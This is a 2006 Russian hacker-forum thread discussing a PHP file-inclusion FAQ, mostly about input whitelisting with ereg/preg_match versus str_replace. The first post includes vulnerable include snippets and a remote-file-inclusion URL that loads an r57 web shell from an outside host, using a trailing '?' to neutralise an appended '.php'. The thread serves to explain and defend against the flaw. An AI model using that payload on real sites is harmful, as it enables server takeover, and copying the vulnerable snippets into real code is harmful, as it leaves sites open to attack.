ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Комментарии к FAQ PHP Including
  #1  
Старый 29.04.2006, 16:11
Аватар для drmist
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме:
400609

Репутация: 239
Arrow Комментарии к FAQ PHP Including

Почему-то тема (http://forum.antichat.ru/thread18368.html) оказалась закрытой. Предположительно, это вызванно желанием не засорять ее чужими комментами. Потому предлогаю обсудить ее здесь.

Лично мне хотелось бы высказать свое уважение автору, указать ему на одну несущественную ошибку и немного дополнить FAQ.

Ошибка находится здесь:
Код:
<?
if(file_exists($page))
include "/files/$page";
?>
понятно, что если файл $page существует, то это совершенно не говорит о том, что файл /files/$page существует.
Я бы написал так:
Код:
<?
$page = "../../files/$page.php";
if(file_exists($page))
include $page;
?>
По поводу дополнения - тут есть 2 момента.
1) относительно 0-байтов. Очень часто этот символ фильтруется если и не скриптом, то самим апачем.
Потому имеет смысл обращатся к бажному скрипту
Код:
<?
include "$page.php";
?>
таким образом:
http://site.com/include.php?page=http://rst.void.ru/download/r57shell.txt?

В результате скрипт попытается инклудить
http://rst.void.ru/download/r57shell.txt?.php, то есть ".php" превратится в параметр в http-запросе и не станет нам мешать.
2) относительно фильтрации
наиболее выгодно использовать функцию ereg(). например:
Код:
<?php
if(isset($_GET["page"]))
{
$page = $_GET["page"];
if(ereg("^[a-z]{1,10}$", $page))
  @include "../../files/$page.php";
else
  die("<a href=\"http://www.fbi.gov\">HACK OFF!</a>");
}
?>
То есть, если параметр page соответствует регулярному выражению "строка длинной от 1 до 10 символов, состоящая из строчных букв", то скрипт примет ее, иначе пошлет недохакера на www.fbi.gov. Кроме того, символ "@" перед include заставит апач не выводить сообщение об ошибке в случае, если соответствующий файл не будет найлен.

Ну вот я и высказался, надеюсь мои слова не будут восприняты как упрек, но зато будут восприняты, как желание дополнить материал.
__________________
Никому нельзя верить...
 
Ответить с цитированием

  #2  
Старый 29.04.2006, 16:14
Аватар для kot777
kot777
Seo Pozitive
Регистрация: 13.08.2004
Сообщений: 779
Провел на форуме:
5581277

Репутация: 1635


Отправить сообщение для kot777 с помощью ICQ
По умолчанию

Тема закрыта была, для того чтобы не засорять её. уже получил 2 материала по дополнению, всё будет дополнено и исправлено. всем спасибо
__________________
ICQ 328498627

Хочешь Элитный OpenVPN за 10 у.е ?
 
Ответить с цитированием

  #3  
Старый 29.04.2006, 16:15
Аватар для Trinux
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

свои комменты скинул коту в личку. А насчет твоих... Что-то мне слабо верится что обработка строки регулярными выражениями более эффективно, чем просто отброс лишних сиволов обычным str_replace()
 
Ответить с цитированием

  #4  
Старый 29.04.2006, 16:17
Аватар для drmist
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме:
400609

Репутация: 239
По умолчанию

Trinux
Ты о том, сколько ресурсов тратится?
Я х3. Но могу сказать, что обработка php-сценариев в целом вобще ресурсоемкая задача и насколько она сравнима с ereg() я не в состоянии ответить.
__________________
Никому нельзя верить...
 
Ответить с цитированием

  #5  
Старый 29.04.2006, 16:20
Аватар для k1b0rg
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

Все равно str_replace работает быстрее рег выражения в php
будь то ereg,preg_match и т.д.
 
Ответить с цитированием

  #6  
Старый 29.04.2006, 16:22
Аватар для drmist
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме:
400609

Репутация: 239
По умолчанию

Тем не менее мое мнение - все равно, даже если на str_replace тратится 0.01 секунды, а на ereg() 0.1, то нам с вами нет до этого никакого дела )
__________________
Никому нельзя верить...
 
Ответить с цитированием

  #7  
Старый 29.04.2006, 16:48
Аватар для Talisman
Talisman
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772

Репутация: 517


Отправить сообщение для Talisman с помощью ICQ
По умолчанию

Цитата:
Сообщение от drmist  
Тем не менее мое мнение - все равно, даже если на str_replace тратится 0.01 секунды, а на ereg() 0.1, то нам с вами нет до этого никакого дела )
если у тебя сайт с низкой посещаемостью - то пофиг, а если нет - то... траблы с хостером... с мощностью сервера. время в 0.1 секунду - приличное время
 
Ответить с цитированием

  #8  
Старый 29.04.2006, 16:52
Аватар для Trinux
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

Цитата:
Тем не менее мое мнение - все равно, даже если на str_replace тратится 0.01 секунды, а на ereg() 0.1, то нам с вами нет до этого никакого дела )
Я говорил впринипе. Если ты такую защиту воткнешь на rbc.ru, на котором 200к хостов в день, то эта, казалось бы, незначительная разница перерастет в значительную.
А обработка php не столь ресурсоемкий процесс, если грамотно повесить php на сервак.

Кстати, знает кто-нить разницу между ereg() и preg_match()? =))
 
Ответить с цитированием

  #9  
Старый 04.05.2006, 19:46
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Код:
if (!empty($_GET['go']) && preg_match("#^[a-z0-9_]{2,20}$#", $_GET['go']) && file_exists("modules/".$_GET['go']."/index.php")) {
    $module = $_GET['go'];
    include("modules/".$module."/index.php");
}
 
Ответить с цитированием

  #10  
Старый 04.05.2006, 19:47
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
Post

Юзаем этот код и все ок - include баг уже не прокатит. Кто не согласен - отписываемся, открываем мне глаза ))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
PHP Including FAQ kot777 Уязвимости 1 02.05.2006 22:05
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ